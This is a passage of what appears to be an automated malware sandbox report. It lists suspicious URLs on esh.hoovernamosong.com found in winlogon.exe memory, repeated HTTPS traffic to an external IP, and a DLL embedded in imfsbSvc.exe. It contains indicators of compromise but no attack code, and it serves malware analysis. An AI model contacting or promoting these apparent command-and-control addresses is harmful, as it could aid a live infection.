00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007704620000000000770462c
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007704620000000000770462t
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007916B700000000007916B7
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007916B700000000007916B71
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007916B700000000007916B7l
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007916B700000000007916B7t
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000797AE00000000000797AE0
Source: winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000797AE00000000000797AE01U
Source: winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000797AE00000000000797AE04
Source: winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBD
Source: winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBD1
Source: winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDt4
Source: winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDu
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2895749586.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2835431713.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007AEFBD00000000007AEFBDz
Source: winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007BF22900000000007BF229
Source: winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007BF22900000000007BF2291
Source: winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007BF22900000000007BF2291U
Source: winlogon.exe, 00000007.00000003.2848528213.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007BF22900000000007BF2294
Source: winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007E2C2B00000000007E2C2B
Source: winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007E2C2B00000000007E2C2B1U
Source: winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2955869620.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007E2C2B00000000007E2C2BL
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F068E00000000007F068E
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F068E00000000007F068EL
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3011190667.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F068E00000000007F068EU
Source: winlogon.exe, 00000007.00000003.2968981297.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F068E00000000007F068Et4
Source: winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EB
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EB/
Source: winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EBI
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000007F90EB00000000007F90EBVW)
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B49
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B49&
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B49-
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B490.30729;
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B491
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B494
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B49E3B08
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000000801B490000000000801B49mpJ
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000722A900000000000722A90
Source: winlogon.exe, 00000007.00000003.2908507275.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/0000000007BF22900000000007BF229
Source: winlogon.exe, 00000007.00000002.3071510813.0000025DD7D3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000000801B490000000000801B49
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000722F620000000000722F62
Source: winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/00000000722F620000000000722F62iI
Source: winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/000000007709530000000000770953
Source: winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/W
Source: winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/Yr
Source: winlogon.exe, 00000007.00000003.2227695779.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2273448388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/Z
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/ft
Source: winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/fu
Source: winlogon.exe, 00000007.00000003.2000513636.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877612069.0000025DD7D23000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924432505.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061038448.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995141476.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052464971.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112188658.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945339271.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937655427.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/g
Source: winlogon.exe, 00000007.00000003.2613464453.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2511472862.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2659565403.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3023216561.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.3066556447.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/hur
Source: winlogon.exe, 00000007.00000003.2671761294.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2772590417.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/ing
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2112053895.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/lu
Source: winlogon.exe, 00000007.00000003.2786614588.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/ng.com9588382-3778222414-1001
Source: winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399836388.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2440915800.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2456373927.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327309271.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341482071.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2286499322.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/rnamosong.com/0000000000706D110000000000706D11z
Source: winlogon.exe, 00000007.00000003.2564905657.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/rnamosong.com/00000000007559CF00000000007559CF
Source: winlogon.exe, 00000007.00000003.2730326692.0000025DD7D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://esh.hoovernamosong.com/rnamosong.com/0000000000791B7A0000000000791B7A
Source: winlogon.exe, 00000007.00000003.1994871113.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2399612759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000392952.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2060818797.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1945224189.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2159867639.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071645411.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1924324954.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2111743940.0000025DD7D56000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2061155718.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2350059952.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2341264153.0000025DD7D22000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1995391797.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052659954.0000025DD7D62000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1877345602.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2052121590.0000025DD7D59000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000002.3071184180.0000025DD7D1A000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2327144509.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2849393759.0000025DD7D21000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.1937515919.0000025DD7D63000.00000004.00000020.00020000.00000000.sdmp, winlogon.exe, 00000007.00000003.2000185393.0000025DD7D5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: imfsbSvc.exe, imfsbSvc.exe.0.dr, imfsbDll.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767

Uses secure TLS version for HTTPS connections

Source: unknown

HTTPS traffic detected: 160.16.200.77:443 -> 192.168.11.20:49715 version: TLS 1.2

System Summary

Source: imfsbSvc.exe	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Source: imfsbSvc.exe.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows

